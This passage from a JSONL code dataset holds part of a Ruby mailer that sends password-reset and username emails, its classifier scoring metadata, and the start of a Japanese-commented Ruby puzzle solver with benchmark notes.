@recipients, :subject => @subject) \n end\n \n def password_reset_instructions(user)\n setup_email(user)\n @subject += \"#{:user_information.l(:site => configatron.community_name)}\"\n @edit_password_reset_url = edit_password_reset_url(user.perishable_token) \n \n mail(:to => @recipients, :subject => @subject) \n end\n\n def forgot_username(user)\n setup_email(user)\n @subject += \"#{:user_information.l(:site => configatron.community_name)}\"\n mail(:to => @recipients, :subject => @subject) \n end\n\n \n protected\n def setup_email(user)\n @recipients = \"#{user.email}\"\n\n @subject = \"[#{configatron.community_name}] \"\n @sent_on = Time.now\n @user = user\n end\n \nend\n", "text_preview": "class UserNotifier < ActionMailer::Base include ActionView::Helpers::TextHelper include ActionView::Helpers::SanitizeHelper extend ActionView::Helpers::SanitizeHelper::ClassMethods # Required for rails 2.2 include BaseHelper default_url_opt", "input_sha256": "8e7ec658061a58077987ef7b5f62dc998cf9ff4ddefebfc0bd0bc746f1a3f2bb", "text_sha256": "aa658e8d5a1a2a4bf51cfab6cdc9c80b4b78858b54864a332d77055d83fc5752", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16060, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0033737449347895, "noise_severity": 0.021397619610266205, "missing_content_severity": 0.008989303733278435, "factual_density": 3.3617026579142113, "pretraining_utility": 0.2292234557679785, "math_density": 0.0036571869203408437, "code_density": 3.9494250101227166, "reasoning_density": 0.07236015090022149, "education_level": 2.2493450085297884, "creative_writing_quality": -0.39087494423076413}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.005545899992233094, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9967006631434739, "secondary": 0.9900380329199047, "tertiary": 0.9958250589987567, "structured_records": 0.028432160208726385, "procedural_steps": 0.0018676939783618851, "worked_solution": 0.000812408444368479, "contextual_dialogue": 8.90026365420521e-06, "content_quality": 0.550082622607249, "noise_severity": 0.9821686503247782, "missing_content_severity": 0.9925089135556013, "factual_density": 0.46808554826184245, "pretraining_utility": 0.47950397437192793, "math_density": 0.9969523442330493, "code_density": 0.9578541751022638, "reasoning_density": 0.9396998742498155, "education_level": 0.6761174072289513, "creative_writing_quality": 0.9986995697803585, "primary_topic": 0.982332194715917, "secondary_topic": 0.950283642707583}, "probability_margin": {"primary": 0.9948511768499716, "secondary": 0.9851769569968299, "tertiary": 0.994126470715477, "education_level": 0.5091722384509382, "creative_writing_quality": 0.9984183306315275, "primary_topic": 0.9706169188586272, "secondary_topic": 0.9271669353256465}, "raw_probabilities": {"primary": {"Academic Writing": 3.2894901984107874e-05, "Content Listing": 2.943125711473996e-05, "Creative Writing": 2.1128181555561924e-05, "Customer Support Page": 1.3691257352706774e-05, "Q&A Forum": 1.2222328868153883e-05, "Discussion Thread": 8.91340101922531e-06, "Comment Section": 1.144946573862208e-05, "Missing Content": 2.3475566804209977e-05, "Knowledge Article": 8.388931760789967e-05, "Legal Notices": 3.600340374648723e-05, "News Article": 4.88424556480663e-06, "Organizational Announcement": 1.3774184412251353e-05, "Nonfiction Writing": 1.0405195723785863e-05, "Organizational About Page": 1.2508027174582733e-05, "Personal About Page": 1.2897378696330517e-05, "Personal Blog": 7.376787968966604e-06, "Product Page": 7.3435485875167e-06, "Spam / Ads": 1.168985355109891e-05, "Structured Data": 0.0006703917063357218, "Technical Writing": 0.9968381355124959, "Transcript / Interview": 1.657625231190653e-05, "Tutorial / How-To Guide": 0.0001274773401394239, "User Reviews": 6.482222721912849e-06, "Other / Unknown": 0.001986958662524299}, "secondary": {"Academic Writing": 6.724300899506493e-05, "Content Listing": 8.315004416719372e-05, "Creative Writing": 6.83066223877297e-05, "Customer Support Page": 4.31431465106598e-05, "Q&A Forum": 2.2471493185088165e-05, "Discussion Thread": 1.9960320941817107e-05, "Comment Section": 3.2816942829330795e-05, "Missing Content": 0.0001351886373143278, "Knowledge Article": 0.0002231710571228798, "Legal Notices": 0.00015426288791572357, "News Article": 2.8889721732743466e-05, "Organizational Announcement": 3.672376677827304e-05, "Nonfiction Writing": 2.397679344180659e-05, "Organizational About Page": 4.0727188746244225e-05, "Personal About Page": 2.8311105797878078e-05, "Personal Blog": 2.5165342522886296e-05, "Product Page": 1.8730182742816893e-05, "Spam / Ads": 4.0257693370579266e-05, "Structured Data": 0.0029124376059712267, "Technical Writing": 0.005276157884745308, "Transcript / Interview": 3.889049909519971e-05, "Tutorial / How-To Guide": 0.0002125948880659318, "User Reviews": 1.4308284043945583e-05, "NONE": 0.9904531148815753}, "tertiary": {"Academic Writing": 4.3030577166003e-05, "Content Listing": 7.773843003617498e-05, "Creative Writing": 5.525838842537564e-05, "Customer Support Page": 3.90742425680171e-05, "Q&A Forum": 1.6610036811201065e-05, "Discussion Thread": 1.5257249778475865e-05, "Comment Section": 2.801154791041708e-05, "Missing Content": 0.00015489257411749883, "Knowledge Article": 0.00018768438698177437, "Legal Notices": 0.0001482283616929541, "News Article": 2.252470313021176e-05, "Organizational Announcement": 3.105126119967771e-05, "Nonfiction Writing": 2.4233051897898278e-05, "Organizational About Page": 4.038225792958298e-05, "Personal About Page": 2.06609509989531e-05, "Personal Blog": 1.917402660329865e-05, "Product Page": 1.682391917868105e-05, "Spam / Ads": 3.390732746295594e-05, "Structured Data": 0.0009058002993756092, "Technical Writing": 0.0018725441583314652, "Transcript / Interview": 2.6432085070842047e-05, "Tutorial / How-To Guide": 0.00021019463809328847, "User Reviews": 1.147065143115762e-05, "NONE": 0.9959990148738085}, "structured_records": {"false": 0.9715678397912736, "true": 0.028432160208726385}, "procedural_steps": {"false": 0.9981323060216382, "true": 0.0018676939783618851}, "worked_solution": {"false": 0.9991875915556315, "true": 0.000812408444368479}, "contextual_dialogue": {"false": 0.9999910997363458, "true": 8.90026365420521e-06}, "content_quality": {"-2": 0.007262014576961773, "-1": 0.017114288386907515, "0": 0.21224893346355553, "1": 0.4917374646695299, "2": 0.2716372989030452}, "noise_severity": {"0": 0.9823865925763257, "1": 0.014993726645119056, "2": 0.0017782148822928095, "3": 0.0005184003844876166, "4": 0.00032306551177466934}, "missing_content_severity": {"0": 0.9951044332579695, "1": 0.0020058525119716923, "2": 0.001927244256209881, "3": 0.0007209171865085195, "4": 0.00024155278734035504}, "factual_density": {"0": 0.0058677972162272055, "1": 0.010909548896610078, "2": 0.1073029206988348, "3": 0.3674916651333804, "4": 0.5084280680549474}, "pretraining_utility": {"-2": 0.013277346008695998, "-1": 0.17113119547546196, "0": 0.44065563329229984, "1": 0.3229623071862522, "2": 0.05197351803729016}, "math_density": {"0": 0.997832765643888, "1": 0.0015161978853913867, "2": 0.0001848326427067845, "3": 9.349156251943711e-05, "4": 0.0003727122654943942}, "code_density": {"0": 0.00017812553609587768, "1": 0.00029234616026938513, "2": 0.005459097500323243, "3": 0.03806725425144527, "4": 0.9560031765518663}, "reasoning_density": {"0": 0.9448916387627776, "1": 0.0402752337929455, "2": 0.012901976609336665, "3": 0.0014436394511577102, "4": 0.0004875113837823781}, "education_level": {"none": 0.0014556302518470023, "0": 0.0019641828124077605, "1": 0.019709558077669793, "2": 0.7300978393574594, "3": 0.22092560090652127, "4": 0.025847188594094735}, "creative_writing_quality": {"not_applicable": 0.9989163081502987, "-2": 0.00017585611753049668, "-1": 0.0002614285492848874, "0": 0.0004979775187712069, "1": 0.00010730653519883255, "2": 4.112312891586223e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.1473812591953123e-05, "Art & Design": 8.977192244566165e-05, "Law & Crime": 6.686617471914209e-05, "Education & Careers": 7.949431098422432e-05, "Entertainment & Media": 5.670925406636249e-05, "Fashion & Beauty": 5.729155139525078e-05, "Business, Economics & Finance": 0.0001505905792030791, "Food & Dining": 5.0543442297934884e-05, "Games & Gaming": 0.00024314102399216554, "Electronics & Hardware": 0.00012123047630894245, "Health, Healthcare & Wellness": 4.959518314092305e-05, "History & Geography": 5.7900530963243436e-05, "Home, Pets & Hobbies": 4.1218653597726245e-05, "Industry & Production": 5.0538357244565964e-05, "Language, Literature & Philosophy": 5.72628192872703e-05, "Politics & Government": 5.0550528486099076e-05, "Religion & Spirituality": 5.147589892748769e-05, "Science, Mathematics & Engineering": 0.0001275498376364741, "Relationships & Community": 0.012394806829754612, "Software Usage & Applications": 0.0018054565571054527, "Programming & Software Engineering": 0.9830117256883818, "Sports & Fitness": 6.92064901464848e-05, "Vehicles & Transportation": 3.1240102625452596e-05, "Travel & Tourism": 6.549018398397759e-05, "Other / Uncovered Subject": 0.0009851466976349358, "Unknown / Insufficient Content": 0.00018372309307858602}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003584764152962644, "Art & Design": 0.0002984961172198211, "Law & Crime": 0.0003540310138717303, "Education & Careers": 0.00018836653563561703, "Entertainment & Media": 0.00030011369838133623, "Fashion & Beauty": 0.00011958293696086415, "Business, Economics & Finance": 0.00042152587767293857, "Food & Dining": 0.00011511063492343426, "Games & Gaming": 0.0003542934498244455, "Electronics & Hardware": 0.00022997089300869747, "Health, Healthcare & Wellness": 0.00013452567680366357, "History & Geography": 0.00011681174290156228, "Home, Pets & Hobbies": 0.00011442361643679885, "Industry & Production": 9.300919737465894e-05, "Language, Literature & Philosophy": 0.00010846156552773803, "Politics & Government": 0.00012848115788368673, "Religion & Spirituality": 0.00014393200946105766, "Science, Mathematics & Engineering": 0.00023883082234997857, "Relationships & Community": 0.025028874970106436, "Software Usage & Applications": 0.005808140708238843, "Programming & Software Engineering": 0.012063808116899012, "Sports & Fitness": 0.0001114100975433823, "Vehicles & Transportation": 5.4943713085416574e-05, "Travel & Tourism": 0.00016329648202501564, "Other / Uncovered Subject": 0.000755272254814575, "NONE": 0.952195810295753}}, "probabilities": {"primary": {"Academic Writing": 3.289490198410787e-05, "Content Listing": 2.9431257114739953e-05, "Creative Writing": 2.112818155556192e-05, "Customer Support Page": 1.369125735270677e-05, "Q&A Forum": 1.222232886815388e-05, "Discussion Thread": 8.913401019225308e-06, "Comment Section": 1.1449465738622076e-05, "Missing Content": 2.347556680420997e-05, "Knowledge Article": 8.388931760789965e-05, "Legal Notices": 3.6003403746487226e-05, "News Article": 4.884245564806629e-06, "Organizational Announcement": 1.377418441225135e-05, "Nonfiction Writing": 1.0405195723785862e-05, "Organizational About Page": 1.250802717458273e-05, "Personal About Page": 1.2897378696330513e-05, "Personal Blog": 7.3767879689666025e-06, "Product Page": 7.343548587516698e-06, "Spam / Ads": 1.1689853551098907e-05, "Structured Data": 0.0006703917063357217, "Technical Writing": 0.9968381355124957, "Transcript / Interview": 1.6576252311906528e-05, "Tutorial / How-To Guide": 0.00012747734013942387, "User Reviews": 6.4822227219128475e-06, "Other / Unknown": 0.0019869586625242985}, "secondary": {"Academic Writing": 6.724300899506494e-05, "Content Listing": 8.315004416719373e-05, "Creative Writing": 6.830662238772971e-05, "Customer Support Page": 4.314314651065981e-05, "Q&A Forum": 2.247149318508817e-05, "Discussion Thread": 1.996032094181711e-05, "Comment Section": 3.28169428293308e-05, "Missing Content": 0.00013518863731432784, "Knowledge Article": 0.00022317105712287984, "Legal Notices": 0.0001542628879157236, "News Article": 2.888972173274347e-05, "Organizational Announcement": 3.6723766778273045e-05, "Nonfiction Writing": 2.3976793441806593e-05, "Organizational About Page": 4.072718874624423e-05, "Personal About Page": 2.831110579787808e-05, "Personal Blog": 2.51653425228863e-05, "Product Page": 1.8730182742816896e-05, "Spam / Ads": 4.025769337057927e-05, "Structured Data": 0.002912437605971227, "Technical Writing": 0.005276157884745309, "Transcript / Interview": 3.8890499095199714e-05, "Tutorial / How-To Guide": 0.00021259488806593183, "User Reviews": 1.4308284043945585e-05, "NONE": 0.9904531148815754}, "tertiary": {"Academic Writing": 4.3030577166003e-05, "Content Listing": 7.773843003617498e-05, "Creative Writing": 5.525838842537564e-05, "Customer Support Page": 3.90742425680171e-05, "Q&A Forum": 1.6610036811201065e-05, "Discussion Thread": 1.5257249778475865e-05, "Comment Section": 2.801154791041708e-05, "Missing Content": 0.00015489257411749883, "Knowledge Article": 0.00018768438698177437, "Legal Notices": 0.0001482283616929541, "News Article": 2.252470313021176e-05, "Organizational Announcement": 3.105126119967771e-05, "Nonfiction Writing": 2.4233051897898278e-05, "Organizational About Page": 4.038225792958298e-05, "Personal About Page": 2.06609509989531e-05, "Personal Blog": 1.917402660329865e-05, "Product Page": 1.682391917868105e-05, "Spam / Ads": 3.390732746295594e-05, "Structured Data": 0.0009058002993756092, "Technical Writing": 0.0018725441583314652, "Transcript / Interview": 2.6432085070842047e-05, "Tutorial / How-To Guide": 0.00021019463809328847, "User Reviews": 1.147065143115762e-05, "NONE": 0.9959990148738085}, "structured_records": {"false": 0.9715678397912736, "true": 0.028432160208726385}, "procedural_steps": {"false": 0.9981323060216382, "true": 0.0018676939783618851}, "worked_solution": {"false": 0.9991875915556315, "true": 0.000812408444368479}, "contextual_dialogue": {"false": 0.9999910997363458, "true": 8.90026365420521e-06}, "content_quality": {"-2": 0.007262014576961774, "-1": 0.017114288386907518, "0": 0.21224893346355556, "1": 0.49173746466952994, "2": 0.2716372989030453}, "noise_severity": {"0": 0.9823865925763259, "1": 0.01499372664511906, "2": 0.00177821488229281, "3": 0.0005184003844876167, "4": 0.0003230655117746694}, "missing_content_severity": {"0": 0.9951044332579696, "1": 0.0020058525119716927, "2": 0.0019272442562098813, "3": 0.0007209171865085196, "4": 0.00024155278734035507}, "factual_density": {"0": 0.005867797216227206, "1": 0.01090954889661008, "2": 0.10730292069883482, "3": 0.36749166513338044, "4": 0.5084280680549476}, "pretraining_utility": {"-2": 0.013277346008695994, "-1": 0.17113119547546193, "0": 0.44065563329229973, "1": 0.32296230718625213, "2": 0.051973518037290146}, "math_density": {"0": 0.997832765643888, "1": 0.0015161978853913867, "2": 0.0001848326427067845, "3": 9.349156251943711e-05, "4": 0.0003727122654943942}, "code_density": {"0": 0.00017812553609587768, "1": 0.00029234616026938513, "2": 0.005459097500323243, "3": 0.03806725425144527, "4": 0.9560031765518663}, "reasoning_density": {"0": 0.9448916387627777, "1": 0.04027523379294551, "2": 0.012901976609336667, "3": 0.0014436394511577104, "4": 0.00048751138378237815}, "education_level": {"none": 0.0014556302518470023, "0": 0.0019641828124077605, "1": 0.019709558077669793, "2": 0.7300978393574594, "3": 0.22092560090652127, "4": 0.025847188594094735}, "creative_writing_quality": {"not_applicable": 0.9989163081502987, "-2": 0.00017585611753049668, "-1": 0.0002614285492848874, "0": 0.0004979775187712069, "1": 0.00010730653519883255, "2": 4.112312891586223e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.147381259195314e-05, "Art & Design": 8.977192244566166e-05, "Law & Crime": 6.68661747191421e-05, "Education & Careers": 7.949431098422433e-05, "Entertainment & Media": 5.67092540663625e-05, "Fashion & Beauty": 5.729155139525079e-05, "Business, Economics & Finance": 0.00015059057920307911, "Food & Dining": 5.05434422979349e-05, "Games & Gaming": 0.0002431410239921656, "Electronics & Hardware": 0.00012123047630894247, "Health, Healthcare & Wellness": 4.959518314092306e-05, "History & Geography": 5.790053096324345e-05, "Home, Pets & Hobbies": 4.121865359772625e-05, "Industry & Production": 5.053835724456598e-05, "Language, Literature & Philosophy": 5.726281928727031e-05, "Politics & Government": 5.055052848609909e-05, "Religion & Spirituality": 5.14758989274877e-05, "Science, Mathematics & Engineering": 0.00012754983763647412, "Relationships & Community": 0.012394806829754615, "Software Usage & Applications": 0.0018054565571054531, "Programming & Software Engineering": 0.983011725688382, "Sports & Fitness": 6.920649014648482e-05, "Vehicles & Transportation": 3.12401026254526e-05, "Travel & Tourism": 6.54901839839776e-05, "Other / Uncovered Subject": 0.000985146697634936, "Unknown / Insufficient Content": 0.00018372309307858607}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00035847641529626443, "Art & Design": 0.0002984961172198212, "Law & Crime": 0.00035403101387173036, "Education & Careers": 0.00018836653563561706, "Entertainment & Media": 0.0003001136983813363, "Fashion & Beauty": 0.00011958293696086417, "Business, Economics & Finance": 0.0004215258776729386, "Food & Dining": 0.00011511063492343428, "Games & Gaming": 0.00035429344982444553, "Electronics & Hardware": 0.0002299708930086975, "Health, Healthcare & Wellness": 0.0001345256768036636, "History & Geography": 0.00011681174290156229, "Home, Pets & Hobbies": 0.00011442361643679886, "Industry & Production": 9.300919737465895e-05, "Language, Literature & Philosophy": 0.00010846156552773805, "Politics & Government": 0.00012848115788368676, "Religion & Spirituality": 0.0001439320094610577, "Science, Mathematics & Engineering": 0.0002388308223499786, "Relationships & Community": 0.02502887497010644, "Software Usage & Applications": 0.005808140708238844, "Programming & Software Engineering": 0.012063808116899014, "Sports & Fitness": 0.00011141009754338231, "Vehicles & Transportation": 5.494371308541658e-05, "Travel & Tourism": 0.00016329648202501566, "Other / Uncovered Subject": 0.0007552722548145751, "NONE": 0.9521958102957531}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9907, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9907, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:08.010874+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "1ce60d99-0484-4d88-a720-97bf878a4afc", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "59e81a5918ac770425b9ca738f493d09342ee52db592b1592d6887b3919497bd", "source_metadata": {"uuid": "1ce60d99-0484-4d88-a720-97bf878a4afc", "repo_name": "bborn/communityengine", "relative_path": "app/models/user_notifier.rb", "category": "WEB", "algo_rel_score": 0.9475429058074951, "quality_score": 6.052441120147705, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2064, "repo_created_at": "2008-03-25T19:55:55.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1138, "forks": 316, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "8ed2bb2f5b026b2467e281d499962ada75583b36", "size_bytes": 5242, "file_timestamp": 1470759058, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "438659f2926e69e90861de6b4fda02aea793d6d6"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2064, "repo_created_at": "2008-03-25T19:55:55.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1138, "forks": 316, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "8ed2bb2f5b026b2467e281d499962ada75583b36", "size_bytes": 5242, "file_timestamp": 1470759058, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "438659f2926e69e90861de6b4fda02aea793d6d6", "url": "https://github.com/bborn/communityengine/blob/438659f2926e69e90861de6b4fda02aea793d6d6/app/models/user_notifier.rb"}, "gpt4o_tokens": 1353, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0033737449347895, "noise_severity": 0.021397619610266205, "missing_content_severity": 0.008989303733278435, "factual_density": 3.3617026579142113, "pretraining_utility": 0.22922345576797853, "math_density": 0.0036571869203408437, "code_density": 3.9494250101227166, "reasoning_density": 0.07236015090022149, "education_level": 2.2493450085297884, "creative_writing_quality": -0.39087494423076413}, "score_applicability": {"education_level": 0.998544369748153, "creative_writing_quality": 0.0010836918497012858}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/calotocen/CodeIQ/blob/91210661cb5c3551c6631fed406235990dac0d3b/%E5%B9%B3%E6%88%90%E5%A4%89%E6%8F%9B/heiseihenkan_kai.rb", "id": "ruby-0-2cfd8b3e307012b4e38b26e43937a874", "text": "#!ruby -EWindows-31J\n# coding: Windows-31J\n\n#\n# = 平成変換(処理速度向上版)\n#\n# Authors:: calotocen(カトー)\n#\n# == 使い方\n# heiseihenkan_kai [options] BEFORE AFTER\n# BEFORE 変換前の値\n# AFTER 変換後の値\n# -b ベンチマークを表示する。\n# -e N N ステップの解が見つかるまで,探索を続ける。\n# -l SIZE 探索対象とする項の最大文字列長を指定する (デフォルト:9 文字)。\n#\n# == 使用例\n# > ruby heiseihenkan_kai.rb -b 2014 26\n# user system total real\n# 3.359000 0.015000 3.374000 ( 3.468750)\n# 2014->[2]0[14]->[4019]6->1[6]152(361)6->136(1521)(9)6->1(36)[3](9)(36)->(16)(9)(36)->(4)(36)->26\n# 7 steps\n# \n# == 初期バージョン(heiseihenkan.rb)からの変更点\n# 1. 変換前の値と変換後の値の両方から探索するようにし,解探索時間の短縮を図った。\n# 2. 文字区切り (String#stable_permutation) の処理方式を幾つか考え,処理速度を吟味した。\n# 詳細は,create_subvalues_list_benchmark.rb に記載している。\n# 3. 式生成 (ExpressionFactory#expressions) の処理方式を幾つか考え,処理速度を吟味した。\n# 詳細は,create_expressions.rb に記載している。\n# 4. 平方根の結果が整数でない場合の探索打ち切り判定を最上位関数 (solve 内) から,\n# 式生成中 (ExpressionFactory#expressions_internal 内) に変更することで不要な式生成を減らし,\n# 式生成時間の短縮を図った (式生成時間を 60% ほど削減)。\n# 5. 最大文字列長の打ち切り判定を最上位関数 (solve 内) から,\n# 式生成中 (ExpressionFactory#expressions_internal 内) に変更することで不要な式生成を減らし,\n# 式生成時間の短縮を図った (式生成時間を 10% ほど削減)。\n# 6. 式の表現を最終形式 (\"[2]0(14)\" など) から\n# 中間形式 ([\"2\", 1], [\"0\", 0], [\"14\", -1] など) にすることで,\n# 式生成時間の短縮を図った (式生成時間を 5% ほど削減)。\n# 7. 重複した式が生成されないようにすることで不要な式変更を減らし,\n# 式生成時間の短縮を図った (式生成時間を 5% ほど削減)。\n# (修正前は,例えば [\"2\", \"0\", \"14\"] と [\"20\", \"14\"] の両方から \"20(14)\" などが生成された)。\n# 8. 括弧の直後が \"0\" となる式を生成するように式生成処理を修正した (バグ修正)。\n# (修正前は,\"2014\" から \"[2]014\" のような式を生成できなかった)。\n# 9. コマンドライン引数でベンチマーク表示有無などを指定できるようにした。\n# 10. ソースコード全体をリファクタリングした。\n# \n# == 処理速度の向上について\n# 解探索処理の大部分は式生成処理で,この処理に一番時間を使う。\n# よって,生成する式の絶対数を少なくする (上記変更点 (1)) ことと,\n# 式生成処理を早くする (上記変更点 (2) 〜 (7)) が高速化の鍵である (と思う)。\n# 参考までに本プログラムの実行時プロファイルを次に示す。\n# (BEFORE=2014, AFTER=26 は時間がかかるので,BEFORE=62196, AFTER=6 を用いた)。\n# > ruby -r profile heiseihenkan_kai.rb 62196 6\n# 62196->[6][2]1(9)[6]->[3](64)1[3]36->(9)(81)(9)(36)->[3](9)(36)->(9)(36)->(36)->6\n# 6 steps\n# % cumulative self self total\n# time seconds seconds calls ms/call ms/call name\n# 32.20 5.57 5.57 19853 0.28 3.76 ExpressionFactory#expressions_internal\n# 20.36 9.10 3.53 19427 0.18 0.23 Expression#pop_term\n# 7.49 10.40 1.30 8166 0.16 0.27 Expression#push_root_term\n# 6.16 11.46 1.07 8166 0.13 0.17 Expression#push_square_term\n# 5.70 12.45 0.99 26954 0.04 0.04 BasicObject#!=\n# 2.96 12.96 0.51 9390 0.05 0.07 Expression#push_nop_term\n# 2.25 13.35 0.39 59543 0.01 0.01 String#size\n# 1.99 13.70 0.35 35682 0.01 0.01 Fixnum#>\n# 1.88 14.03 0.33 8166 0.04 0.04 Math.sqrt\n# 1.72 14.32 0.30 29643 0.01 0.01 String#[]# :\n# :\n# 0.00 17.30 0.00 1 0.00 0.00 Context#continue\n# 0.00 17.30 0.00 1 0.00 0.00 TracePoint#disable\n# 0.00 17.31 0.00 1 0.00 17312.00 #toplevel\n# ※ 1 〜 4 位と 6 位が式生成用関数である (他にもそれらしいものがあるが,\n# どの処理で使われているのかは判断不能である)。\n# 分かる範囲でも式生成処理が全体の 57.59% を占めている。\n# \n# == 今後の展望について\n# 本プログラムで探索した解が最短ステップではない場合がある。\n# 例えば,`ruby heiseihenkan_kai.rb -l 8 2014 26` で得られる解は 8 ステップである\n# (最短解は7ステップ)。\n# この問題は,変換前と変換後の両方から探索していて,\n# なおかつ,各ステップを最後まで探索しないために発生する。\n# 幅優先探索を行っているため,通常は最短解が見つかるが,\n# 双方向探索では以下のような状況で最短解以外の解が得られる。\n# 変換前の値からの探索 変換後の値からの探索\n# +--- ---+\n# 1 ステップの解| |1 ステップの解\n# +--- ---+\n# +--- ---+\n# 2 ステップの解| |2 ステップの解\n# | <---(2)-+ |\n# +--- | ---+\n# +--- | ---+\n# 3 ステップの解| <---(1)-o-> |3 ステップの解\n# | | \n# | +->\n# +--- \n# ※ 図中 (1) の時点で解 (6 ステップ) が見つかったので探索を打ち切るが,\n# (2) のような解 (5 ステップ) を得られる可能性はある。\n# \n# 上記の問題を解決するためには,探索にステップの概念を導入し,\n# ステップを全て探索するようにすればよい。\n# (本プログラムは探索速度を優先しオプション -e を作るに留めたが,\n# 本来の趣旨から言えば,求めた解が必ず最短解の方がよい。\n# なお,-e オプションを使う場合,先の例だと\n# `ruby heiseihenkan_kai.rb -l 8 -e 7 2014 26` で最短解を求められる)。\n#\n\n\nrequire 'benchmark'\nrequire 'optparse'\n\n#\n# 拡張した String クラス\n#\nclass String\n #\n # 順序を保持した文字列の順列を生成するための再帰用関数である。\n #\n def stable_permutation_internal(value, subvalues, block)\n (1 ... value.size).each { |i|\n subvalues << value[0, i]\n stable_permutation_internal(value[i ... value.size], subvalues, block)\n subvalues.delete_at(-1)\n }\n \n block.call(subvalues + [value])\n end\n private :stable_permutation_internal\n\n #\n # 順序を保持した文字列の順列を生成する。得られる順列の順序は不定である。\n # - ブロックが指定された場合,生成した順列の各値を引数としてブロックを実行する。\n # この場合,戻り値として自分自身を返す。\n # \"abc\".stable_permutation() { |strs| p strs }\n # ->[\"a\", \"b\", 